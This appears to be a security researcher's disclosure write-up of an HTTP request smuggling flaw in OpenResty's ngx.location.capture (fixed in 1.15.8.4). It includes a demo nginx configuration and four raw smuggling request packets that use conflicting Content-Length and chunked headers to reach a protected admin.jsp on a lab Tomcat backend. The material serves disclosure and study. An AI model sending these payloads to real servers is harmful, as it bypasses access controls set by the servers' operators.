Author: UltramanGaia
Vulnerability introduction
After conducting security research on openresty / lua-nginx-module, we found that the implementation of ngx.location.capture and ngx.location.capture_multi in openresty / lua-nginx-module has defects.
In most cases, the value of Content-Length cannot be modified correctly, which will bring the risk of HTTP request smuggling vulnerabilities.
An issue was discovered in OpenResty before 1.15.8.4. ngx_http_lua_subrequest.c allows HTTP request smuggling, as demonstrated by the ngx.location.capture API.
Vulnerability details
openresty/lua-nginx-module provides ngx.location.capture and ngx.location.capture_multi directives for sending sub-requests. A common usage is as follows, nginx + lua performs logical judgment, authentication and authorization, and then uses ngx.location.capture combined withproxy_pass to forward to the back-end service. Generally, nginx and back-end services will use keepalive connections to improve performance.
This involves the implementation of the HTTP protocol. We know that the protocol specifies that when the http request contains both Content-Length andTransfer-Encoding: chunked, Content-Length should be ignored.
There is a problem with the code implementation of ngx.location.capture, which causes the Content-Length value passed to the backend service to be incorrect, which leads to http request smuggling vulnerability.
ngx_http_lua_contentby.c:ngx_http_lua_content_handler
ngx_http_lua_subrequest.c:ngx_http_lua_ngx_location_capture
ngx_http_lua_subrequest.c:ngx_http_lua_ngx_location_capture_multi
ngx_http_lua_subrequest.c:ngx_http_lua_adjust_subrequest
In c code, the ngx_http_lua_subrequest.c:ngx_http_lua_adjust_subrequest should call ngx_http_lua_set_content_length_header to adjust the request header Content-Length.

The code is as shown in the screenshot above. The first case will recalculate Content-Length according to the body, and the second case will setConent-Length to 0. However, the third case does not modify Content-Length, which is a problem here.
Vulnerability Demo
openresty 1.15.8.2 + tomcat
nginx.conf
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on;
keepalive_timeout 65;
upstream backend{
server 192.168.83.1:8080;
keepalive 32;
}
server {
listen 8081;
server_name localhost;
location / {
root html;
index index.html index.htm;
}
location /test1 {
content_by_lua_block {
res = ngx.location.capture('/backend')
ngx.print(res.body)
}
}
location /test2 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST})
ngx.print(res.body)
}
}
location /test3 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, always_forward_body=true})
ngx.print(res.body)
}
}
location /test4 {
content_by_lua_block {
ngx.req.read_body();
local data = ngx.req.get_body_data()
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, body=data, always_forward_body=true})
ngx.print(res.body)
}
}
location /backend {
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_pass http://backend/user.jsp;
}
}
}
We use tomcat as the back-end service, and then we deploy user.jsp andadmin.jsp.
user.jsp
<%
out.println("Your are normal user, method=" + request.getMethod());
%>
admin.jsp
<%
out.println("Your are Admin, method=" + request.getMethod());
%>
By design, user.jsp is exposed to the outside through Openresty, and external access to admin.jsp is prevented.
With the request smuggling vulnerability, we can bypass this restriction.
test1
location /test1 {
content_by_lua_block {
res = ngx.location.capture('/backend')
ngx.print(res.body)
}
}
We can construct the following packets that reach the third case, resulting in a Content-Length not set properly, resulting in vulnerabilities request smuggling
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
You can use BurpSuite to easily construct the following request package, and don’t forget to remove the checkbox of Update Content-Length in the menu.

Below are the requests and responses captured by Wireshark.

Here is the request packet for Openresty to interact with the backend service.

test2
location /test2 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST})
ngx.print(res.body)
}
}
For a POST subrequest, if no body is specified and always_forward_body is false (default), we can construct the following request packet to reach the third case
GET /test2 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked
0
POST /test2 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
hello

Below are the requests and responses captured by Wireshark.

Here is the request packet for Openresty to interact with the backend service.

test3
location /test3 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, always_forward_body=true})
ngx.print(res.body)
}
}
This configuration does not explicitly set the body. Using always_forward_body, you can send the following packets to attack.
GET /test3 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked
0
POST /test3 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
hello

Below are the requests and responses captured by Wireshark.

Here is the request packet for Openresty to interact with the backend service.

test4
location /test4 {
content_by_lua_block {
ngx.req.read_body();
local data = ngx.req.get_body_data()
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, body=data, always_forward_body=true})
ngx.print(res.body)
}
}
This configuration attempts to get the data using ngx.req.get_body_data, and assigned to the body. We can use the Transfer-Encoding: chunked, length set to 0, resulting in ngx.req.get_body_data() returns a value of nil. So attack packets are as follows
GET /test4 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked
0
POST /test4 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
hello

Below are the requests and responses captured by Wireshark.

Here is the request packet for Openresty to interact with the backend service.

References:
There are many ways to exploit the http request smuggling vulnerability. For details, please refer to the link below.
https://portswigger.net/web-security/request-smuggling/exploiting
Patch
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com